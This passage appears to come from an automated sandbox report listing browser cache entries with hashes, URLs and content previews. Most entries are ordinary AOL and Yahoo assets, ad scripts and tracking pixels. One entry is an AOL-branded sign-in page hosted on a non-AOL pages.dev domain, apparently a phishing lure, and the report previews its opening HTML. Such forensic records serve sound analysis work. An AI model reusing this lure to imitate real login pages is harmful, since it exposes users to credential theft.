Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 386

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=25&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503727711&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=23&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=12&ns_st_asq=12&ns_st_sq=12&ns_st_po=3248&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=6752&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=3248&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=13&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=3248&ns_st_dap=0&ns_st_et=10577&ns_st_det=13&ns_st_upc=3248&ns_st_dupc=0&ns_st_upa=3248&ns_st_dupa=0&ns_st_lpc=3248&ns_st_dlpc=0&ns_st_lpa=3248&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=11&ns_st_pp=11&ns_st_pa=3248&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 387

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 388

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	293
Entropy (8bit):	6.4750551588457315
Encrypted:	false
SSDEEP:	6:6v/lhPfUOlSJSSSSaffEX2iIHUk7aZ9mnuWIAJfZ9PXglt532ffcranZCtjp:6v/7/lSJSSSSafP3VK9mnuWh3gp32fzO
MD5:	FB63BB3AD5A7073858B9E60838B00C27
SHA1:	0D97131EB6E06430E5F3814A167FC1CD8221634E
SHA-256:	2BF78EFEABCC4E59EE927E997D3F4F465CBE08C127DC12CF9F10B4E1EAA6FAD2
SHA-512:	D8B6E3CBBC0A7FC2536980F6D524F9DEC169AA50182CE88AA5AC31B8595DAADAB0B24B57E9008B2717227E6260BB28FF38FF54A6F9A2AD3EEACDF534F799E40D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S...NPLTEGpL......a.........................................l.....x..;..1.."..E..I..C..B1......tRNS.........1...T...\|IDAT..e....1......t..Q>`..........e..... ..X"../.........d.t.G.MEK.:.......X/fexx.j.....w.pH..J...5...O!I..v.6O.......e..........IEND.B`.

Chrome Cache Entry: 389

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3474)
Category:	downloaded
Size (bytes):	3516
Entropy (8bit):	5.177633760469162
Encrypted:	false
SSDEEP:	48:YozhS8pv0kSqguti9GmqiiHBYGly0DoGu8EMmtMYHR3OsFGGbmA831thck5/QEyT:3hDId95qnHztDCppw8kIkSEyH+8qE
MD5:	0CA9668537635E407279482884BCA098
SHA1:	3E7B95BAE086B5A9CF5DFCEAF913553931F8038C
SHA-256:	9D4FA9837C165C44427288759DFB816A8C063CBA0109205865FA234A47D93E2E
SHA-512:	ACB5FDFC9EDC8B988FEECEFFCC1F76B99149C21B3133BFF726C291F801735684DA2AB82A0AB00FC948F7D97820D983F34CF6DE92A8F0A5347189B956BB577962
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/special_event.0ca9668537635e40.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){"use strict";var e={d:function(t,r){for(var n in r)e.o(r,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:r[n]})},o:function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r:function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};function r(e){return r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},r(e)}function n(e){return function(e){if(Array.isArray(e))return o(e)}(e)\|\|function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]\|\|null!=e["

Chrome Cache Entry: 390

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 640x100, components 3
Category:	downloaded
Size (bytes):	22076
Entropy (8bit):	7.932113873709285
Encrypted:	false
SSDEEP:	384:R9T/sXmDW+yyoXtNfdjqJOX6g+EwMFkfWVApL3VfdJ09/opKMw4ik:7UXmzyySt5EOX6JMFEWVmxf/Pzjik
MD5:	6BA660987083E291B7C9E3456874CBBF
SHA1:	1ED761F13E792184F7DC3ADC7609A43A5C0D939C
SHA-256:	4D0881EDF687D82E02BE1480380D659D9F3DA63D4674D9B5DC6E146505E83AA0
SHA-512:	C99C3F3A976141EAC569FFD420D49B675343F140C7F6160F56D1C3A0F85DC9790F6EB4AB525310A19A3CA5ACEAC5E85434F2B3931AC9DD12127D8B74340EB58D
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aa/aol/aolHelp/aollivesupportplus/aollivesupportplus_320x50-lca-4274-2x.jpg
Preview:	......JFIF.............C....................................................................C.......................................................................d.............................................................................................2.6P............................"..R...=%............................,.y2.n........)..............I...............L......X.$#.7q..&3.C$.tN#.30......Y..-....;..P~.Q4..]..w....E.._.W6..._...v...........~...'.GWx.S.(.....F{.._e.w=.......7q.....Z&.....x.\|.......%..@..P..r5..[....=/N.uE..q.wfI....g.j\|[.52\|.*.;{.r..-w...(...#M?}... .3....?f.)#;\.#..H...........Dv.YC.Z9..}Q.J.aw.34..:...v..$...7.+&.=.]K+..nY.)..h..HKW.'.e........../.Z....Oz...>ke......c.a...7...O...Ya.......J..!....3.~^~-.c.}...an..l..y[E...H~........7........]...zUd.........[.8.W&.5..."{.<..@.vn..W;..?.P..+n.'..!HR..'.c%.............7E...O..qrn3...c..l...N.t.e....W..Q.e..Fud...vZ.d.\|.........<..b...W....u..=.gk.~...-...N\.z...J.X.

Chrome Cache Entry: 391

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2128
Entropy (8bit):	7.048373053646032
Encrypted:	false
SSDEEP:	48:Rr3Xj+MYodKh84zIV8cHR8V7tlV8/GowH9R1f8AX:Rr3T+/oghIFHRstlV8uoI9R1kQ
MD5:	19A33967E0666239ACAAC99593B85828
SHA1:	964DFB2FCAE4863835994933B47B5D195F533373
SHA-256:	0B6BB9D64B5A409909589C8181744A553933694CA7962EA4DABE252C89948332
SHA-512:	ECF6E4A8F80BC7EFE1B16486856EA3FC56BBA5DE8E8B908FBDD75A2C71CE9B16443D682359C1B2E408D309D609D2C07CE39DE85C0F7596EF7DBF7B9B8101A68E
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FOHTDIcS3OqqJHOtudo3U_g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20211123%2F500x500%2FBoston-Red-Sox_wbg.png&client=76f99bdb8f78cd44cc0b&signature=3196918a1fe607d3480e4199512d4c82a7361c33
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL....................................................................................................................................................................................................................................................................................................................../9.+U..?....+R..../9.+U.+U-,P.-V./9#>d.+T./:.+Us-E.:a.,Vm-F..<&,Q..>5,O.+TK,Kv-D./<..A..=..>),P.......?]-H..X......./;....+T......3\&@f8,Nr..Z-I...D,L5Nq-Hl./;..A./:.+R..@*Ej.1Z`-H#+QP,J..=.+Si{../;/,O..@M,K.+T....k-FJa....(Ch......W-I.6_x..8Qs`s.!+R\|.Cn-Es..fy......Xl.p-E.....m}..../<<,M./<\|.....3Jm..BG,L...y-De-G......:,NTi....y..at.Zo......@E[{.8_T-I@Xy}..x.....b-G...dx./Im2,O^o...C.....A...g-Gv..p...........?......@,Mo.......<Uv......G^~.7T.....tRNS..y.~.\|3............ \..4...n..?...+t.R.'.....UM...i..<G..9B...Xqd/.......J....k...".8..O!..a...w.............................................................................

Chrome Cache Entry: 392

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=21&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503727681&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=19&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=10&ns_st_asq=10&ns_st_sq=10&ns_st_po=3234&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=6767&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=3234&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=313&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=3234&ns_st_dap=0&ns_st_et=10547&ns_st_det=313&ns_st_upc=3234&ns_st_dupc=0&ns_st_upa=3234&ns_st_dupa=0&ns_st_lpc=3234&ns_st_dlpc=0&ns_st_lpa=3234&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=9&ns_st_pp=9&ns_st_pa=3234&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 393

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	158
Entropy (8bit):	4.994787172741404
Encrypted:	false
SSDEEP:	3:yLRmcpZ6CdPtpOq94IhXVHws6Tac3mDDpKfFsLGD/DNKv:yL/pZ6CVCq9JVHwJW1iFqt
MD5:	CA243B22264DCA7A4A899C51CC2DC963
SHA1:	CF47310BBB10F981E5735CBCB6196F688782A625
SHA-256:	95FB5A5390AFDA7B7734B303C9F724039FDA305313CE9517AA5F7A544A208AF0
SHA-512:	704E626A74A47B560B3316788B46F7CAF94E1E831B9290551C52DBF4D1E8DD8B72BACBBF6164EAA393BD97DABA0C351881B2F9D83A92F3BAAC49322BF9B5040B
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/nn/lib/metro/g/myy/advertisement_0.0.19.js
Preview:	document.write('<div id="advertisement-thamba" style="display:none">Display Advertisement</div>');/* Copyright (c) 2020, Yahoo! Inc. All rights reserved. */.

Chrome Cache Entry: 394

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7422)
Category:	downloaded
Size (bytes):	7461
Entropy (8bit):	5.209317676877177
Encrypted:	false
SSDEEP:	192:/X0cegksCp1hH54LK+jvWH/4LEBNDqyWIcR:/X0c3CQ++x4jqDn
MD5:	9BC5BE0DC76620B024782373D925133C
SHA1:	2167041F67D0EED17ACE4BEA8B35EAEE3FDAED05
SHA-256:	AB3E26B5BE8E131DBE4DC542593C20408F5770B92ABA4F1871FA40DEACCD0DEE
SHA-512:	FDDD04DBE42995D3D2B0055E647D3E542CABBF4ABDE644B3999ED166C511C3E977D9C52535E4AA370E37B06BB24C1C8B4B35804A6D1DB9D75D238E10ED34FB4A
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/ad_blocker.9bc5be0dc76620b0.js
Preview:	!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():t.CAAS_AOLCOM=e()}(self,(function(){return function(){var t={5497:function(t){t.exports={dispatchCustomEvent:function(t,e){var n=document.createEvent("CustomEvent");n.initCustomEvent(t,!1,!1,e),document.dispatchEvent(n)}}},9356:function(t){function e(t,e){(null==e\|\|e>t.length)&&(e=t.length);for(var n=0,o=new Array(e);n<e;n++)o[n]=t[n];return o}var n={rapidInit:"rapid:init"};t.exports={events:n,rapidReady:function(t){window.rapidInstance?t(window.rapidInstance):document.addEventListener(n.rapidInit,(function(){t(window.rapidInstance)}),{passive:!0,once:!0})},ylkStringToObj:function(){var t=["itc","cpos","pos"];return(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"").split(";").filter(Boolean).reduce((function(n,o){var r,i,c=(r=o.split(":"),i=2,function(t){if(Array.isArray(t))return t

Chrome Cache Entry: 395

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 646 x 250, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4904
Entropy (8bit):	7.899029446643728
Encrypted:	false
SSDEEP:	96:OdBnjzG7DZTxqIfy33nn/qf46vhPQuAgul5SZBsj51v1f:OdBnjwDZTx5fy33no4ShRjuX2sd1vt
MD5:	1E91D02CF5A902F38F2923C006D79281
SHA1:	CB8126B32C2274E0394246B40BD0B7F9F847E44C
SHA-256:	F72611E2DF8E88204009FD896D05D5E8E83C77009C63943BBFFA169559934849
SHA-512:	54B69544DC55ADDC0B2DDC08418D1A0A34240697070FE47FEAE9E915C70D33EF662CE1B7154CBCAD84019D22F3291F138CC7298224D381CC740C2097478D4042
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............+v.....PLTEGpLWWW^^^fffnnnaaaxxx.........sss\\\.........hhhIII**.........sss...444}}}...>>>SSSYYYjjj...}}}^^^ @@@ppp......```000PPP....J$._/'~>$t9.T.5..........................................D4.S1.N....................... ...I..kkk..................zzz....?.......!i4...$]c....2d.:.....:u.B..=.....8.N..nS.:.N.......?/.;.N......=.N~^......^G.?.N....v.@.NO;..j...............<.T/#.5.\..7L...xK.OY.C5.q#.n!.2(9...;/I...?2u"..!...;..X....%...K..7+I..g...&.,..H..G..E..FFu..a.... tRNS.:..........................j...N}......IDATx...Ub.@.E..I71.0.....C.5.............................?...._.r..[........E...v^Ne...E;+..l..n..c...]w..\|r...m>.w=...2..5.+......tW..].........6m.i..).Y.h.B.k....j.......T.l.\.<...T.H2.._...a.....u...e.}.Op...J.....I.j.....>.C...&.tW.T0Kr..I..4.v.].OrSie..!O.......!......!.g..Z.0......r..\|4.h.t..{.............N...fi..-R....LH9#....7I$..$..o.T....8......@A<y..s....K...%Wt.y.z..].i.h...T..l.E6.....S7C

Chrome Cache Entry: 396

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26type%3Dpba%26gdpr%3D0%26gdpr_consent%3D%26ovsid%3DPM_UID
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 397

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (46303), with CRLF line terminators
Category:	downloaded
Size (bytes):	867216
Entropy (8bit):	6.022426728730356
Encrypted:	false
SSDEEP:	12288:Frmuf73vtAo/HkV36umj4cCa391azX4lWNbo:D73vCgkV1mj4cCa3YX4ll
MD5:	2A2E6B61B39E791E1A335378DFF3D440
SHA1:	7F4B9A05648CD11D20328BF3F5C3EA831E4FEE3A
SHA-256:	1CE09C2CD8C4B9ECDC0DAE24C800C16C7C04DE4E8394F1379E59A6CA4303A94D
SHA-512:	556E791B61FE2E02BBFA1FCD08E81B40B25287FEE672736704AC3544E15A3978F21514CCC7ABB3D06FB12EA302ED1EC95AE33072530878FB0D0948842F3772BC
Malicious:	false
Reputation:	low
URL:	https://testing-1g0.pages.dev/forgot?lang=en-US&src=guce-mail&done=https%3A%2F%2Fmail.aol.com%2F%3Fguce_referrer%3DaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8%26guce_referrer_sig%3DAQAAAMV1HcA2ap8E1JAzEL1d1RoR7BHgqDyNnC7NHxVoHwo_ZY36BAE_-eVbfvo18WaCCZJWR_2BFs5xSkyqQg3iAq4J5cmfK5fS3JSy8_aNdRxsO20tZuVRSZvbpbt04U-xYnBs0YKiqGikz7l_2JSE_Fm4Oo3ZLzt9_9Zivwbg-xRI
Preview:	<html id="Stencil" class="js grid light-theme "><head>.. <meta charset="utf-8">.. <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">.. <title>AOL</title>.. <meta name="description" content="AOL">.. <link rel="icon" type="image/png" href="https://s.yimg.com/wm/login/aol-favicon.png">.. <link rel="shortcut icon" type="image/png" href="https://s.yimg.com/wm/login/aol-favicon.png">.. <link rel="apple-touch-icon" href="https://s.yimg.com/wm/login/aol-apple-touch-icon.png">.. <link rel="apple-touch-icon-precomposed" href="https://s.yimg.com/wm/login/aol-apple-touch-icon.png">.. <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>.. .. <style>../! Pure v0.5.0 Copyright 2014 Yahoo! Inc. All rights reserved. Licensed under the BSD License. https://github.com/yui/pure/blob/master/LICENSE.md /../*! normalize.css v1.1.3 \| MIT License \| git.io/normalize Copyright (c) Nicolas Galla

Chrome Cache Entry: 398

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	313
Entropy (8bit):	6.726557898411143
Encrypted:	false
SSDEEP:	6:6v/lhPfUOLI3iYWYA6IZzMin/xADXm0jyug4YQubcJsbiJNp+mB8ZJKp:6v/7/LQ7rIhMin/x0X/yugou4Js+JNpn
MD5:	70183929BE02C5218D0A8CD25ED8AAD1
SHA1:	E25AF51E95D56F05F3B5BA4142206B05129C0BB5
SHA-256:	6365F912F470664A95CE5E00B52470A028F7458E1CAA6887383E394EDDC36D98
SHA-512:	04D1B38CDB3F3FF3822CCC7AB43ECC14077222B7CF7FCADC0F624E92C34242CD55F30553D549EFBBB0F3E701A2CC7238A38123666859830577CCB9290163245A
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-11%2F482ab9a0-7dbb-11ee-bdd7-b11fbe01bff1&client=76f99bdb8f78cd44cc0b&signature=dd57ba74d68705d4271b84c9abc4f77dd97b1a8e
Preview:	.PNG........IHDR.............(-.S...NPLTEGpL....................................Q..`..t3........H.X.U......R...l...T..L....tRNS.........1..*..[....IDAT..m.[..0...$@.{&.^...~..C.+....8L..3...e..y.m..,,{....^....$..&.kFl.n......Z..I.u..AF.UZ.i.H..tI..%.....,..$so...$..%.d...Z....?s_.o.0...c.....IEND.B`.

Chrome Cache Entry: 399

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1884
Entropy (8bit):	7.2975539345474605
Encrypted:	false
SSDEEP:	48:lgE1NOHfSu7AVP5ELzs9xNWly+6hnCi+A4/RCF:GEnuSu7AVeXs9+ahCi+95CF
MD5:	CAD98AC32EE9D716FD419CA010DB952E
SHA1:	064EC6CC4790F14368C7E9F9FD516285A3413F8F
SHA-256:	0EDC49D8BFD96B0A4C60A86DED645D25736CA88E386D0F8CC36BB87925826B9E
SHA-512:	7820D074EFCE1C8D262D3442480AD98A231BD2C029387B8EBD9DE51ECEA2270812FCF74349CE71513B707A3015FE793D8D51F1F8C4D5046147EF88F934E5B350
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...........................................................................................................................................................................................................................................................................................................................................................................................n..............................u..u................................r.......................m.................}........................tI..~.sG.tH..c....f.xN..].{R.vK.....d.\|S....\|T..l....wM.uJ..b..X..........vK....z..g......e.~V.....s..o..r.....u.....Z...............sH.._.xO..........Y..~.......tJ.....[....{.......n..............\|...rE.....w.............k.zQz*......tRNS...U...rE..K.w\j..,.M......e........!3.Q.R.4p.....NB.OA5.c.....L.7..[.\|.+?_.....'...y....a.b.^........Y.~.......".....8>...%.........x..&.W....YM,...l.xi.<.....t...W...

Chrome Cache Entry: 400

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
